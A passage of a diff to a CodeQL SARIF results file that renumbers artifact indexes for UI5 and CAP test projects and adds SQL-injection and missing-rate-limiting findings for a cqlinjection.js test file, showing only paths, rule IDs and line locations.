+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 299
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 300
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 301
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 302
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 303
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 304
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 305
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 306
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 307
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 308
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 309
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 310
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 311
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 312
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 313
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 314
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 315
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 316
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 317
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 318
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 319
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 320
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 321
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 322
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 323
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 324
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 325
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 326
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 327
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 328
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 329
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 330
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 331
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 332
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 333
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 334
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 335
       }
     }, {
       "location" : {
-        "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 336
       }
     }, {
       "location" : {
-        "uri" : "javascript/heuristic-models/tests/qlpack.yml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 337
       }
     }, {
       "location" : {
-        "uri" : "qlt.conf.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 338
       }
     }, {
       "location" : {
-        "uri" : "scripts/codeql-pack.lock.yml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 339
       }
     }, {
       "location" : {
-        "uri" : "scripts/qlpack.yml",
+        "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 340
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js",
+        "uri" : "javascript/heuristic-models/tests/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 341
       }
+    }, {
+      "location" : {
+        "uri" : "qlt.conf.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 342
+      }
+    }, {
+      "location" : {
+        "uri" : "scripts/codeql-pack.lock.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 343
+      }
+    }, {
+      "location" : {
+        "uri" : "scripts/qlpack.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 344
+      }
     } ],
     "results" : [ {
       "ruleId" : "js/xss",
@@ -14641,6 +14737,145 @@
           "text" : "user-provided value"
         }
       } ]
+    }, {
+      "ruleId" : "js/missing-rate-limiting",
+      "rule" : {
+        "id" : "js/missing-rate-limiting",
+        "index" : 71,
+        "toolComponent" : {
+          "index" : 3
+        }
+      },
+      "message" : {
+        "text" : "This route handler performs [a database access](1), but is not rate-limited."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 1
+          },
+          "region" : {
+            "startLine" : 40,
+            "startColumn" : 25,
+            "endLine" : 44,
+            "endColumn" : 8
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "ac6d3bdd3d52ea9b:1",
+        "primaryLocationStartColumnFingerprint" : "18"
+      },
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 1
+          },
+          "region" : {
+            "startLine" : 41,
+            "startColumn" : 9,
+            "endLine" : 43,
+            "endColumn" : 11
+          }
+        },
+        "message" : {
+          "text" : "a database access"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/sql-injection",
+      "rule" : {
+        "id" : "js/sql-injection",
+        "index" : 72,
+        "toolComponent" : {
+          "index" : 3
+        }
+      },
+      "message" : {
+        "text" : "This query string depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 1
+          },
+          "region" : {
+            "startLine" : 41,
+            "startColumn" : 20,
+            "endColumn" : 40
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "4fc3122b51f477a1:1",
+        "primaryLocationStartColumnFingerprint" : "11"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 41,
+                  "startColumn" : 20,
+                  "endColumn" : 40
+                }
+              },
+              "message" : {
+                "text" : "req2.params.category"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 41,
+                  "startColumn" : 20,
+                  "endColumn" : 40
+                }
+              },
+              "message" : {
+                "text" : "req2.params.category"
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 1
+          },
+          "region" : {
+            "startLine" : 41,
+            "startColumn" : 20,
+            "endColumn" : 40
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
     }, {
       "ruleId" : "js/log-injection",
       "rule" : {
@@ -14658,7 +14893,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 2
           },
           "region" : {
             "startLine" : 26,
@@ -14679,7 +14914,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 23,
@@ -14697,7 +14932,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 23,
@@ -14715,7 +14950,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 23,
@@ -14733,7 +14968,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 23,
@@ -14751,7 +14986,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 26,
@@ -14769,7 +15004,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 26,
@@ -14790,7 +15025,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 2
           },
           "region" : {
             "startLine" : 23,
@@ -14819,7 +15054,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 3
           },
           "region" : {
             "startLine" : 7,
@@ -14840,7 +15075,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 6,
@@ -14858,7 +15093,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 6,
@@ -14876,7 +15111,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 7,
@@ -14894,7 +15129,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 7,
@@ -14915,7 +15150,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 3
           },
           "region" : {
             "startLine" : 6,
@@ -14944,7 +15179,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 3
           },
           "region" : {
             "startLine" : 15,
@@ -14965,7 +15200,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 13,
@@ -14983,7 +15218,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 13,
@@ -15001,7 +15236,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 13,
@@ -15019,7 +15254,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 14,
@@ -15037,7 +15272,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 14,
@@ -15055,7 +15290,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 14,
@@ -15073,7 +15308,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 14,
@@ -15091,7 +15326,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 15,
@@ -15109,7 +15344,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 15,
@@ -15130,7 +15365,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 3
           },
           "region" : {
             "startLine" : 13,
@@ -15159,7 +15394,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 3
           },
           "region" : {
             "startLine" : 24,
@@ -15180,7 +15415,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 21,
@@ -15198,7 +15433,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 21,
@@ -15216,7 +15451,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 21,
@@ -15234,7 +15469,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 22,
@@ -15252,7 +15487,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 22,
@@ -15270,7 +15505,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 22,
@@ -15288,7 +15523,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 22,
@@ -15306,7 +15541,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 23,
@@ -15324,7 +15559,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 23,
@@ -15342,7 +15577,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 23,
@@ -15360,7 +15595,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 24,
@@ -15378,7 +15613,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 24,
@@ -15399,7 +15634,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 3
           },
           "region" : {
             "startLine" : 21,
@@ -15428,7 +15663,7 @@
           "artifactLocation" : {
             "uri" : "javascript/heuristic-models/tests/Sources/test.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 4
           },
           "region" : {
             "startLine" : 5,
@@ -15449,7 +15684,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/heuristic-models/tests/Sources/test.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 4
                 },
                 "region" : {
                   "startLine" : 5,
@@ -15467,7 +15702,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/heuristic-models/tests/Sources/test.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 4
                 },
                 "region" : {
                   "startLine" : 5,
@@ -15488,7 +15723,7 @@
           "artifactLocation" : {
             "uri" : "javascript/heuristic-models/tests/Sources/test.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 4
           },
           "region" : {
             "startLine" : 5,
@@ -15892,7 +16127,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 168
+            "index" : 171
           },
           "region" : {
             "startLine" : 132,
@@ -15914,7 +16149,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 167
+                  "index" : 170
                 },
                 "region" : {
                   "startLine" : 23,
@@ -15932,7 +16167,7 @@
                 "artifactLocation" : {
